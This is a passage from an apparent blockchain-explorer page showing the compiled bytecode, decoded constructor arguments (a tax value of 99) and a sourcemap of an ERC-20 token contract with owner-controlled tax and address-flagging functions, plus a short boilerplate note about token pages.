706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161046d565b9392505050565b6000610e4983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611045565b600080610e9f8385611466565b905083811015610e495760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161046d565b8015610f7c576006546001600160a01b0316600090815260016020526040902054610f1c9082610e92565b600680546001600160a01b03908116600090815260016020908152604091829020949094559154915184815291811692908716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35b6001600160a01b038416600090815260016020526040902054610f9f9083611073565b6001600160a01b038516600090815260016020526040902055610fe4610fc58383611073565b6001600160a01b03851660009081526001602052604090205490610e92565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61102e8585611073565b60405190815260200160405180910390a350505050565b600081836110665760405162461bcd60e51b815260040161046d91906110b5565b506000610dbe8486611495565b6000610e4983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d8d565b600060208083528351808285015260005b818110156110e2578581018301518582016040015282016110c6565b818111156110f4576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b038116811461112157600080fd5b919050565b6000806040838503121561113957600080fd5b6111428361110a565b946020939093013593505050565b60008060006060848603121561116557600080fd5b61116e8461110a565b925061117c6020850161110a565b9150604084013590509250925092565b60006020828403121561119e57600080fd5b610e498261110a565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156111d057600080fd5b823567ffffffffffffffff808211156111e857600080fd5b818501915085601f8301126111fc57600080fd5b81358181111561120e5761120e6111a7565b8060051b604051601f19603f83011681018181108582111715611233576112336111a7565b60405291825284820192508381018501918883111561125157600080fd5b938501935b82851015611276576112678561110a565b84529385019392850192611256565b98975050505050505050565b6000806040838503121561129557600080fd5b61129e8361110a565b91506112ac6020840161110a565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156113065781600019048211156112ec576112ec6112b5565b808516156112f957918102915b93841c93908002906112d0565b509250929050565b60008261131d575060016103b4565b8161132a575060006103b4565b8160018114611340576002811461134a57611366565b60019150506103b4565b60ff84111561135b5761135b6112b5565b50506001821b6103b4565b5060208310610133831016604e8410600b8410161715611389575081810a6103b4565b61139383836112cb565b80600019048211156113a7576113a76112b5565b029392505050565b6000610e4960ff84168361130e565b60008160001904831182151516156113d8576113d86112b5565b500290565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060ff821660ff84168060ff0382111561142f5761142f6112b5565b019392505050565b634e487b7160e01b600052603260045260246000fd5b60006001820161145f5761145f6112b5565b5060010190565b60008219821115611479576114796112b5565b500190565b600082821015611490576114906112b5565b500390565b6000826114b257634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220136bbdcd9278662eb6b94b10d3aa55c50428a00d29d7a16ed345d0a55339a25864736f6c634300080d0033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000000000000000000000000000000000000000000063000000000000000000000000000000000000000000000000000e35fa931a0000
-----Decoded View---------------
Arg [0] : _tax (uint256): 99
Arg [1] : _contractABI (uint256): 4000000000000000
-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000063
Arg [1] : 000000000000000000000000000000000000000000000000000e35fa931a0000
Deployed Bytecode Sourcemap
3653:6561:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5703:83;;;;;;;;;;-1:-1:-1;5773:5:0;;;;;;;;;;;;-1:-1:-1;;;5773:5:0;;;;5703:83;;;;;;;:::i;:::-;;;;;;;;6536:161;;;;;;;;;;-1:-1:-1;6536:161:0;;;;;:::i;:::-;;:::i;:::-;;;1218:14:1;;1211:22;1193:41;;1181:2;1166:18;6536:161:0;1053:187:1;5980:95:0;;;;;;;;;;;;;:::i;:::-;;;1391:25:1;;;1379:2;1364:18;5980:95:0;1245:177:1;6705:313:0;;;;;;;;;;-1:-1:-1;6705:313:0;;;;;:::i;:::-;;:::i;5889:83::-;;;;;;;;;;-1:-1:-1;5889:83:0;;4407:1;1902:36:1;;1890:2;1875:18;5889:83:0;1760:184:1;9644:87:0;;;;;;;;;;-1:-1:-1;9644:87:0;;;;;:::i;:::-;-1:-1:-1;;;;;9712:11:0;9691:4;9712:11;;;:8;:11;;;;;;;;;9644:87;9086:197;;;;;;;;;;;;;:::i;:::-;;4651:55;;;;;;;;;;;;;;;;9467:169;;;;;;;;;;-1:-1:-1;9467:169:0;;;;;:::i;:::-;;:::i;6083:119::-;;;;;;;;;;-1:-1:-1;6083:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6176:18:0;6149:7;6176:18;;;:9;:18;;;;;;;6083:119;2734:148;;;;;;;;;;;;;:::i;4591:53::-;;;;;;;;;;;;;;;;2520:79;;;;;;;;;;-1:-1:-1;2558:7:0;2585:6;2520:79;;-1:-1:-1;;;;;2585:6:0;;;3544:51:1;;3532:2;3517:18;2520:79:0;3398:203:1;5794:87:0;;;;;;;;;;-1:-1:-1;5866:7:0;;;;;;;;;;;;-1:-1:-1;;;5866:7:0;;;;5794:87;;6210:167;;;;;;;;;;-1:-1:-1;6210:167:0;;;;;:::i;:::-;;:::i;9291:168::-;;;;;;;;;;-1:-1:-1;9291:168:0;;;;;:::i;:::-;;:::i;6385:143::-;;;;;;;;;;-1:-1:-1;6385:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6493:18:0;;;6466:7;6493:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6385:143;6536:161;6611:4;6628:39;354:10;6651:7;6660:6;6628:8;:39::i;:::-;-1:-1:-1;6685:4:0;6536:161;;;;;:::o;5980:95::-;6033:7;4460:13;4407:1;4460:2;:13;:::i;:::-;4450:23;;:7;:23;:::i;:::-;6053:14;;5980:95;:::o;6705:313::-;6803:4;6820:36;6830:6;6838:9;6849:6;6820:9;:36::i;:::-;6867:121;6876:6;354:10;6898:89;6936:6;6898:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6898:19:0;;;;;;:11;:19;;;;;;;;354:10;6898:33;;;;;;;;;;:37;:89::i;:::-;6867:8;:121::i;:::-;-1:-1:-1;7006:4:0;6705:313;;;;;:::o;9086:197::-;2647:6;;-1:-1:-1;;;;;2647:6:0;354:10;2647:22;2639:67;;;;-1:-1:-1;;;2639:67:0;;;;;;;:::i;:::-;;;;;;;;;9152:8:::1;::::0;:10:::1;::::0;:8;;::::1;;;9161:1;9152:10;:::i;:::-;9138:11;:24:::0;;::::1;::::0;;;::::1;::::0;::::1;-1:-1:-1::0;;9138:24:0;;::::1;::::0;;;::::1;::::0;;4460:13:::1;::::0;:2:::1;:13;:::i;:::-;4450:23;::::0;:7:::1;:23;:::i;:::-;9173:12;:22:::0;4460:13:::1;4407:1;4460:2;:13;:::i;:::-;4450:23;::::0;:7:::1;:23;:::i;:::-;9206:16;:26:::0;9248:27:::1;4460:13;4407:1;4460:2;:13;:::i;:::-;4450:23;::::0;:7:::1;:23;:::i;:::-;9248:27;::::0;1391:25:1;;;1379:2;1364:18;9248:27:0::1;;;;;;;9086:197::o:0;9467:169::-;2647:6;;-1:-1:-1;;;;;2647:6:0;354:10;2647:22;2639:67;;;;-1:-1:-1;;;2639:67:0;;;;;;;:::i;:::-;9543:6:::1;9538:91;9559:6;:13;9555:1;:17;9538:91;;;9614:5;9592:8;:19;9601:6;9608:1;9601:9;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;9592:19:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;9592:19:0;:27;;-1:-1:-1;;9592:27:0::1;::::0;::::1;;::::0;;;::::1;::::0;;9574:3;::::1;::::0;::::1;:::i;:::-;;;;9538:91;;;;9467:169:::0;:::o;2734:148::-;2647:6;;-1:-1:-1;;;;;2647:6:0;354:10;2647:22;2639:67;;;;-1:-1:-1;;;2639:67:0;;;;;;;:::i;:::-;2841:1:::1;2825:6:::0;;2804:40:::1;::::0;-1:-1:-1;;;;;2825:6:0;;::::1;::::0;2804:40:::1;::::0;2841:1;;2804:40:::1;2872:1;2855:19:::0;;-1:-1:-1;;;;;;2855:19:0::1;::::0;;2734:148::o;6210:167::-;6288:4;6305:42;354:10;6329:9;6340:6;6305:9;:42::i;9291:168::-;2647:6;;-1:-1:-1;;;;;2647:6:0;354:10;2647:22;2639:67;;;;-1:-1:-1;;;2639:67:0;;;;;;;:::i;:::-;9365:6:::1;9360:92;9381:5;:12;9377:1;:16;9360:92;;;9436:4;9415:8;:18;9424:5;9430:1;9424:8;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;9415:18:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;9415:18:0;:25;;-1:-1:-1;;9415:25:0::1;::::0;::::1;;::::0;;;::::1;::::0;;9395:3;::::1;::::0;::::1;:::i;:::-;;;;9360:92;;7031:335:::0;-1:-1:-1;;;;;7124:19:0;;7116:68;;;;-1:-1:-1;;;7116:68:0;;6603:2:1;7116:68:0;;;6585:21:1;6642:2;6622:18;;;6615:30;6681:34;6661:18;;;6654:62;-1:-1:-1;;;6732:18:1;;;6725:34;6776:19;;7116:68:0;6401:400:1;7116:68:0;-1:-1:-1;;;;;7203:21:0;;7195:68;;;;-1:-1:-1;;;7195:68:0;;7008:2:1;7195:68:0;;;6990:21:1;7047:2;7027:18;;;7020:30;7086:34;7066:18;;;7059:62;-1:-1:-1;;;7137:18:1;;;7130:32;7179:19;;7195:68:0;6806:398:1;7195:68:0;-1:-1:-1;;;;;7274:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7326:32;;1391:25:1;;;7326:32:0;;1364:18:1;7326:32:0;;;;;;;7031:335;;;:::o;7374:1704::-;-1:-1:-1;;;;;7462:18:0;;7454:68;;;;-1:-1:-1;;;7454:68:0;;7411:2:1;7454:68:0;;;7393:21:1;7450:2;7430:18;;;7423:30;7489:34;7469:18;;;7462:62;-1:-1:-1;;;7540:18:1;;;7533:35;7585:19;;7454:68:0;7209:401:1;7454:68:0;-1:-1:-1;;;;;7541:16:0;;7533:64;;;;-1:-1:-1;;;7533:64:0;;7817:2:1;7533:64:0;;;7799:21:1;7856:2;7836:18;;;7829:30;7895:34;7875:18;;;7868:62;-1:-1:-1;;;7946:18:1;;;7939:33;7989:19;;7533:64:0;7615:399:1;7533:64:0;7625:1;7616:6;:10;7608:64;;;;-1:-1:-1;;;7608:64:0;;8221:2:1;7608:64:0;;;8203:21:1;8260:2;8240:18;;;8233:30;8299:34;8279:18;;;8272:62;-1:-1:-1;;;8350:18:1;;;8343:39;8399:19;;7608:64:0;8019:405:1;7608:64:0;7693:18;2585:6;;-1:-1:-1;;;;;7730:15:0;;;2585:6;;7730:15;;;;:32;;-1:-1:-1;2558:7:0;2585:6;-1:-1:-1;;;;;7749:13:0;;;2585:6;;7749:13;;7730:32;7726:1291;;;-1:-1:-1;;;;;7787:14:0;;;;;;:8;:14;;;;;;;;7786:15;:32;;;;-1:-1:-1;;;;;;7806:12:0;;;;;;:8;:12;;;;;;;;7805:13;7786:32;7778:41;;;;;;7871:8;;7847:66;;7909:3;;7847:57;;7871:8;;;;;;7859:11;;;;;:20;7858:45;;7889:14;;7858:45;;;7881:7;;;;7858:45;7847:6;;:10;:57::i;:::-;:61;;:66::i;:::-;7942:13;;7834:79;;-1:-1:-1;;;;;;7934:21:0;;;7942:13;;7934:21;:55;;;;-1:-1:-1;7973:15:0;;-1:-1:-1;;;;;7959:30:0;;;7973:15;;7959:30;;7934:55;:82;;;;-1:-1:-1;;;;;;7994:22:0;;;;;;:18;:22;;;;;;;;7993:23;7934:82;7930:475;;;8054:12;;8044:6;:22;;8036:62;;;;-1:-1:-1;;;8036:62:0;;8631:2:1;8036:62:0;;;8613:21:1;8670:2;8650:18;;;8643:30;8709:29;8689:18;;;8682:57;8756:18;;8036:62:0;8429:351:1;8036:62:0;8151:16;;8141:6;8125:13;8135:2;-1:-1:-1;;;;;6176:18:0;6149:7;6176:18;;;:9;:18;;;;;;;6083:119;8125:13;:22;;;;:::i;:::-;:42;;8117:77;;;;-1:-1:-1;;;8117:77:0;;9120:2:1;8117:77:0;;;9102:21:1;9159:2;9139:18;;;9132:30;-1:-1:-1;;;9178:18:1;;;9171:52;9240:18;;8117:77:0;8918:346:1;8117:77:0;7930:475;;;8258:13;;-1:-1:-1;;;;;8250:21:0;;;8258:13;;8250:21;:47;;;;-1:-1:-1;;;;;;8275:22:0;;;;;;:18;:22;;;;;;;;8250:47;:73;;;;-1:-1:-1;;;;;;8301:22:0;;;;;;:18;:22;;;;;;;;8250:73;8247:143;;;8347:12;:23;;-1:-1:-1;;8347:23:0;;;;;8247:143;8431:13;;-1:-1:-1;;;;;8425:19:0;;;8431:13;;8425:19;;;;:46;;-1:-1:-1;;;;;;8449:22:0;;;;;;:18;:22;;;;;;;;8448:23;8425:46;8421:164;;;8526:16;;8516:6;8500:13;8510:2;-1:-1:-1;;;;;6176:18:0;6149:7;6176:18;;;:9;:18;;;;;;;6083:119;8500:13;:22;;;;:::i;:::-;:42;;8492:77;;;;-1:-1:-1;;;8492:77:0;;9120:2:1;8492:77:0;;;9102:21:1;9159:2;9139:18;;;9132:30;-1:-1:-1;;;9178:18:1;;;9171:52;9240:18;;8492:77:0;8918:346:1;8492:77:0;-1:-1:-1;;;;;8605:24:0;;;;;;:18;:24;;;;;;;;8604:25;:48;;;;-1:-1:-1;8639:13:0;;-1:-1:-1;;;;;8633:19:0;;;8639:13;;8633:19;8604:48;8601:211;;;8709:8;;8685:111;;8792:3;;8685:102;;8709:8;;;;;;8697:11;;;;;:20;:37;;;;-1:-1:-1;8722:12:0;;;;;;;8721:13;8697:37;8696:90;;8747:12;;;;;;;8746:13;8745:41;;8777:9;;8696:90;;8745:41;8761:15;;8696:90;;;8736:8;;8685:6;;8736:8;;;;;8685:10;:102::i;:111::-;8672:124;;8601:211;8839:13;;-1:-1:-1;;;;;8831:21:0;;;8839:13;;8831:21;:48;;;;-1:-1:-1;;;;;;8857:22:0;;;;;;:18;:22;;;;;;;;8856:23;8831:48;:64;;;;-1:-1:-1;8883:12:0;;;;;;;8831:64;8828:178;;;8983:4;8963:26;;;;:11;:26;;;;;;;;;8947:10;;-1:-1:-1;;;;;8947:10:0;8937:21;;:9;:21;;;;;;;:53;;:25;:53::i;:::-;8925:10;;-1:-1:-1;;;;;8925:10:0;8915:21;;;;:9;:21;;;;;:75;8828:178;9029:41;9041:4;9047:2;9051:6;9059:10;9029:11;:41::i;:::-;7443:1635;7374:1704;;;:::o;1412:190::-;1498:7;1534:12;1526:6;;;;1518:29;;;;-1:-1:-1;;;1518:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1558:9:0;1570:5;1574:1;1570;:5;:::i;:::-;1558:17;1412:190;-1:-1:-1;;;;;1412:190:0:o;1610:246::-;1668:7;1692:1;1697;1692:6;1688:47;;-1:-1:-1;1722:1:0;1715:8;;1688:47;1745:9;1757:5;1761:1;1757;:5;:::i;:::-;1745:17;-1:-1:-1;1790:1:0;1781:5;1785:1;1745:17;1781:5;:::i;:::-;:10;1773:56;;;;-1:-1:-1;;;1773:56:0;;9823:2:1;1773:56:0;;;9805:21:1;9862:2;9842:18;;;9835:30;9901:34;9881:18;;;9874:62;-1:-1:-1;;;9952:18:1;;;9945:31;9993:19;;1773:56:0;9621:397:1;1773:56:0;1847:1;1610:246;-1:-1:-1;;;1610:246:0:o;1864:132::-;1922:7;1949:39;1953:1;1956;1949:39;;;;;;;;;;;;;;;;;:3;:39::i;1081:179::-;1139:7;;1171:5;1175:1;1171;:5;:::i;:::-;1159:17;;1200:1;1195;:6;;1187:46;;;;-1:-1:-1;;;1187:46:0;;10225:2:1;1187:46:0;;;10207:21:1;10264:2;10244:18;;;10237:30;10303:29;10283:18;;;10276:57;10350:18;;1187:46:0;10023:351:1;9739:435:0;9842:11;;9839:152;;9899:10;;-1:-1:-1;;;;;9899:10:0;9889:21;;;;:9;:21;;;;;;:36;;9915:9;9889:25;:36::i;:::-;9877:10;;;-1:-1:-1;;;;;9877:10:0;;;9867:21;;;;:9;:21;;;;;;;;;:58;;;;9958:10;;9943:36;;1391:25:1;;;9958:10:0;;;;9943:36;;;;;;1364:18:1;9943:36:0;;;;;;;9839:152;-1:-1:-1;;;;;10017:15:0;;;;;;:9;:15;;;;;;:27;;10037:6;10017:19;:27::i;:::-;-1:-1:-1;;;;;10001:15:0;;;;;;:9;:15;;;;;:43;10069:40;10087:21;:6;10098:9;10087:10;:21::i;:::-;-1:-1:-1;;;;;10069:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;10055:13:0;;;;;;;:9;:13;;;;;:54;;;;10125:41;;;10144:21;:6;10155:9;10144:10;:21::i;:::-;10125:41;;1391:25:1;;;1379:2;1364:18;10125:41:0;;;;;;;9739:435;;;;:::o;2004:189::-;2090:7;2125:12;2118:5;2110:28;;;;-1:-1:-1;;;2110:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2149:9:0;2161:5;2165:1;2161;:5;:::i;1268:136::-;1326:7;1353:43;1357:1;1360;1353:43;;;;;;;;;;;;;;;;;:3;:43::i;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:173::-;684:20;;-1:-1:-1;;;;;733:31:1;;723:42;;713:70;;779:1;776;769:12;713:70;616:173;;;:::o;794:254::-;862:6;870;923:2;911:9;902:7;898:23;894:32;891:52;;;939:1;936;929:12;891:52;962:29;981:9;962:29;:::i;:::-;952:39;1038:2;1023:18;;;;1010:32;;-1:-1:-1;;;794:254:1:o;1427:328::-;1504:6;1512;1520;1573:2;1561:9;1552:7;1548:23;1544:32;1541:52;;;1589:1;1586;1579:12;1541:52;1612:29;1631:9;1612:29;:::i;:::-;1602:39;;1660:38;1694:2;1683:9;1679:18;1660:38;:::i;:::-;1650:48;;1745:2;1734:9;1730:18;1717:32;1707:42;;1427:328;;;;;:::o;1949:186::-;2008:6;2061:2;2049:9;2040:7;2036:23;2032:32;2029:52;;;2077:1;2074;2067:12;2029:52;2100:29;2119:9;2100:29;:::i;2140:127::-;2201:10;2196:3;2192:20;2189:1;2182:31;2232:4;2229:1;2222:15;2256:4;2253:1;2246:15;2272:1121;2356:6;2387:2;2430;2418:9;2409:7;2405:23;2401:32;2398:52;;;2446:1;2443;2436:12;2398:52;2486:9;2473:23;2515:18;2556:2;2548:6;2545:14;2542:34;;;2572:1;2569;2562:12;2542:34;2610:6;2599:9;2595:22;2585:32;;2655:7;2648:4;2644:2;2640:13;2636:27;2626:55;;2677:1;2674;2667:12;2626:55;2713:2;2700:16;2735:2;2731;2728:10;2725:36;;;2741:18;;:::i;:::-;2787:2;2784:1;2780:10;2819:2;2813:9;2882:2;2878:7;2873:2;2869;2865:11;2861:25;2853:6;2849:38;2937:6;2925:10;2922:22;2917:2;2905:10;2902:18;2899:46;2896:72;;;2948:18;;:::i;:::-;2984:2;2977:22;3034:18;;;3068:15;;;;-1:-1:-1;3110:11:1;;;3106:20;;;3138:19;;;3135:39;;;3170:1;3167;3160:12;3135:39;3194:11;;;;3214:148;3230:6;3225:3;3222:15;3214:148;;;3296:23;3315:3;3296:23;:::i;:::-;3284:36;;3247:12;;;;3340;;;;3214:148;;;3381:6;2272:1121;-1:-1:-1;;;;;;;;2272:1121:1:o;3606:260::-;3674:6;3682;3735:2;3723:9;3714:7;3710:23;3706:32;3703:52;;;3751:1;3748;3741:12;3703:52;3774:29;3793:9;3774:29;:::i;:::-;3764:39;;3822:38;3856:2;3845:9;3841:18;3822:38;:::i;:::-;3812:48;;3606:260;;;;;:::o;3871:127::-;3932:10;3927:3;3923:20;3920:1;3913:31;3963:4;3960:1;3953:15;3987:4;3984:1;3977:15;4003:422;4092:1;4135:5;4092:1;4149:270;4170:7;4160:8;4157:21;4149:270;;;4229:4;4225:1;4221:6;4217:17;4211:4;4208:27;4205:53;;;4238:18;;:::i;:::-;4288:7;4278:8;4274:22;4271:55;;;4308:16;;;;4271:55;4387:22;;;;4347:15;;;;4149:270;;;4153:3;4003:422;;;;;:::o;4430:806::-;4479:5;4509:8;4499:80;;-1:-1:-1;4550:1:1;4564:5;;4499:80;4598:4;4588:76;;-1:-1:-1;4635:1:1;4649:5;;4588:76;4680:4;4698:1;4693:59;;;;4766:1;4761:130;;;;4673:218;;4693:59;4723:1;4714:10;;4737:5;;;4761:130;4798:3;4788:8;4785:17;4782:43;;;4805:18;;:::i;:::-;-1:-1:-1;;4861:1:1;4847:16;;4876:5;;4673:218;;4975:2;4965:8;4962:16;4956:3;4950:4;4947:13;4943:36;4937:2;4927:8;4924:16;4919:2;4913:4;4910:12;4906:35;4903:77;4900:159;;;-1:-1:-1;5012:19:1;;;5044:5;;4900:159;5091:34;5116:8;5110:4;5091:34;:::i;:::-;5161:6;5157:1;5153:6;5149:19;5140:7;5137:32;5134:58;;;5172:18;;:::i;:::-;5210:20;;4430:806;-1:-1:-1;;;4430:806:1:o;5241:140::-;5299:5;5328:47;5369:4;5359:8;5355:19;5349:4;5328:47;:::i;5386:168::-;5426:7;5492:1;5488;5484:6;5480:14;5477:1;5474:21;5469:1;5462:9;5455:17;5451:45;5448:71;;;5499:18;;:::i;:::-;-1:-1:-1;5539:9:1;;5386:168::o;5559:356::-;5761:2;5743:21;;;5780:18;;;5773:30;5839:34;5834:2;5819:18;;5812:62;5906:2;5891:18;;5559:356::o;5920:204::-;5958:3;5994:4;5991:1;5987:12;6026:4;6023:1;6019:12;6061:3;6055:4;6051:14;6046:3;6043:23;6040:49;;;6069:18;;:::i;:::-;6105:13;;5920:204;-1:-1:-1;;;5920:204:1:o;6129:127::-;6190:10;6185:3;6181:20;6178:1;6171:31;6221:4;6218:1;6211:15;6245:4;6242:1;6235:15;6261:135;6300:3;6321:17;;;6318:43;;6341:18;;:::i;:::-;-1:-1:-1;6388:1:1;6377:13;;6261:135::o;8785:128::-;8825:3;8856:1;8852:6;8849:1;8846:13;8843:39;;;8862:18;;:::i;:::-;-1:-1:-1;8898:9:1;;8785:128::o;9269:125::-;9309:4;9337:1;9334;9331:8;9328:34;;;9342:18;;:::i;:::-;-1:-1:-1;9379:9:1;;9269:125::o;9399:217::-;9439:1;9465;9455:132;;9509:10;9504:3;9500:20;9497:1;9490:31;9544:4;9541:1;9534:15;9572:4;9569:1;9562:15;9455:132;-1:-1:-1;9601:9:1;;9399:217::o
Swarm Source
ipfs://136bbdcd9278662eb6b94b10d3aa55c50428a00d29d7a16ed345d0a55339a258
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.